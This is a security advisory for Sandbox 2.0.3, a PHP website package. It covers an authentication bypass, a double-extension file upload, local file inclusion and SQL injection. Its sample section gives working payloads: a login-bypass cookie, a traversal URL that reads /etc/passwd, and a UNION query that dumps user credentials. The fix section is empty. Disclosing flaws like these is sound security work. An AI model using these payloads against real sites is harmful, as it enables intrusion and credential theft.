I. ABOUT THE APPLICATION
________________________

Sandbox is a personal website package that provides  you
with a blog, image gallery, file downloads area, and the
ability  to   create   miscellaneous   custom  webpages. 


II. DESCRIPTION
_______________

Some parameters are not sanitised  before  being  used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version 2.0.3.  Other
versions may also be affected.


III. ANALYSIS
_____________

Summary:

 A) Authentication Bypass
 B) Arbitrary File Upload
 C) Local File Inclusion
 D) SQL Injection
 

A) Authentication Bypass
________________________

The  sandbox_pass's  cookie  value  in  global.php is not
properly  sanitised  before  being  used  in a SQL query.
Since  this  value   is   used   for  the  authentication
system, the injection can be used to bypass it.
Successful exploitation  requires that "magic_quotes_gpc"
is disabled.


B) Arbitrary File Upload
________________________

When a file is sent to blog.php (and also to profile.php)
a bad check for extension is did. The  check  consists in
dividing  the  file's name  in  substrings delimited by a
point  and  checking  if  the second substring's value is
present in the white list. This  method  works fine for a
file with a single extension,  but  if an attacker uses a
file with  a  double  extension, this method doesn't work
well. The following is the affected code in blog.php:

$fname = $this->files['image_file']['tmp_name'];
$system = explode( '.', $this->files['image_file']['name'] );
$system[1] = strtolower($system[1]);

if ( !preg_match( '/jpg|jpeg|png|gif/', $system[1] ) ) {
    NO UPLOAD
} else {
    UPLOAD
}

If the file's name is evil.jpg.php: $system[1] = jpg


C) Local File Inclusion 
_______________________

The  a  parameter  in admin.php is not properly sanitised
before  being  used  in  the  require()  PHP's  function.
This  can  be  exploited  to include arbitrary files from
local  resources  via  directory  traversal  attacks  and
URL-encoded NULL bytes.


D) SQL Injection 
________________

The  p  parameter  in modules/page.php  is  not  properly
sanitised before being used in a SQL query. This  can  be
exploited  to  manipulate   SQL  queries   by   injecting
arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Authentication Bypass

cookie: sandbox_pass = 1' OR '1'='1'#
cookie: sandbox_user = userid (1 for admin)


B) Arbitrary File Upload

Upload a file with a double extension.


C) Local File Inclusion

http://site/path/admin.php?a=../../../../../../../etc/passwd%00


D) SQL Injection

http://site/path/index.php?a=page&p=-1 UNION SELECT 1,2,3,4,5,6,7,CONCAT(user_name,0x3a,user_password) FROM sb_users


V. FIX
